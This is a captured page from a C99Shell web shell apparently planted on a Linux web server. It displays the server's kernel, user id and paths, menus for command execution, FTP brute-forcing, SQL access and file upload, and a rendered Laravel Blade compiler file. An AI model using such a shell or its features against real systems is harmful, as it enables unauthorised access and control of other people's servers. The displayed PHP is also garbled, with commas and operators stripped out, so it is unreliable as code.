!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/notification/vendor/illuminate/view/Compilers/Concerns/   drwxr-xr-x
Free 13.05 GB of 57.97 GB (22.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CompilesEchos.php (4.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\View\Compilers\Concerns;

use 
Closure;
use 
Illuminate\Support\Str;

trait 
CompilesEchos
{
    
/**
     * Custom rendering callbacks for stringable objects.
     *
     * @var array
     */
    
protected $echoHandlers = [];

    
/**
     * Add a handler to be executed before echoing a given class.
     *
     * @param  string|callable  $class
     * @param  callable|null  $handler
     * @return void
     */
    
public function stringable($class$handler null)
    {
        if (
$class instanceof Closure) {
            [
$class$handler] = [$this->firstClosureParameterType($class), $class];
        }

        
$this->echoHandlers[$class] = $handler;
    }

    
/**
     * Compile Blade echos into valid PHP.
     *
     * @param  string  $value
     * @return string
     */
    
public function compileEchos($value)
    {
        foreach (
$this->getEchoMethods() as $method) {
            
$value $this->$method($value);
        }

        return 
$value;
    }

    
/**
     * Get the echo methods in the proper order for compilation.
     *
     * @return array
     */
    
protected function getEchoMethods()
    {
        return [
            
'compileRawEchos',
            
'compileEscapedEchos',
            
'compileRegularEchos',
        ];
    }

    
/**
     * Compile the "raw" echo statements.
     *
     * @param  string  $value
     * @return string
     */
    
protected function compileRawEchos($value)
    {
        
$pattern sprintf('/(@)?%s\s*(.+?)\s*%s(\r?\n)?/s'$this->rawTags[0], $this->rawTags[1]);

        
$callback = function ($matches) {
            
$whitespace = empty($matches[3]) ? '' $matches[3].$matches[3];

            return 
$matches[1]
                ? 
substr($matches[0], 1)
                : 
"<?php echo {$this->wrapInEchoHandler($matches[2])}; ?>{$whitespace}";
        };

        return 
preg_replace_callback($pattern$callback$value);
    }

    
/**
     * Compile the "regular" echo statements.
     *
     * @param  string  $value
     * @return string
     */
    
protected function compileRegularEchos($value)
    {
        
$pattern sprintf('/(@)?%s\s*(.+?)\s*%s(\r?\n)?/s'$this->contentTags[0], $this->contentTags[1]);

        
$callback = function ($matches) {
            
$whitespace = empty($matches[3]) ? '' $matches[3].$matches[3];

            
$wrapped sprintf($this->echoFormat$this->wrapInEchoHandler($matches[2]));

            return 
$matches[1] ? substr($matches[0], 1) : "<?php echo {$wrapped}; ?>{$whitespace}";
        };

        return 
preg_replace_callback($pattern$callback$value);
    }

    
/**
     * Compile the escaped echo statements.
     *
     * @param  string  $value
     * @return string
     */
    
protected function compileEscapedEchos($value)
    {
        
$pattern sprintf('/(@)?%s\s*(.+?)\s*%s(\r?\n)?/s'$this->escapedTags[0], $this->escapedTags[1]);

        
$callback = function ($matches) {
            
$whitespace = empty($matches[3]) ? '' $matches[3].$matches[3];

            return 
$matches[1]
                ? 
$matches[0]
                : 
"<?php echo e({$this->wrapInEchoHandler($matches[2])}); ?>{$whitespace}";
        };

        return 
preg_replace_callback($pattern$callback$value);
    }

    
/**
     * Add an instance of the blade echo handler to the start of the compiled string.
     *
     * @param  string  $result
     * @return string
     */
    
protected function addBladeCompilerVariable($result)
    {
        return 
"<?php \$__bladeCompiler = app('blade.compiler'); ?>".$result;
    }

    
/**
     * Wrap the echoable value in an echo handler if applicable.
     *
     * @param  string  $value
     * @return string
     */
    
protected function wrapInEchoHandler($value)
    {
        
$value Str::of($value)
            ->
trim()
            ->
when(str_ends_with($value';'), function ($str) {
                return 
$str->beforeLast(';');
            });

        return empty(
$this->echoHandlers) ? $value '$__bladeCompiler->applyEchoHandler('.$value.')';
    }

    
/**
     * Apply the echo handler for the value if it exists.
     *
     * @param  string  $value
     * @return string
     */
    
public function applyEchoHandler($value)
    {
        if (
is_object($value) && isset($this->echoHandlers[get_class($value)])) {
            return 
call_user_func($this->echoHandlers[get_class($value)], $value);
        }

        return 
$value;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0172 ]--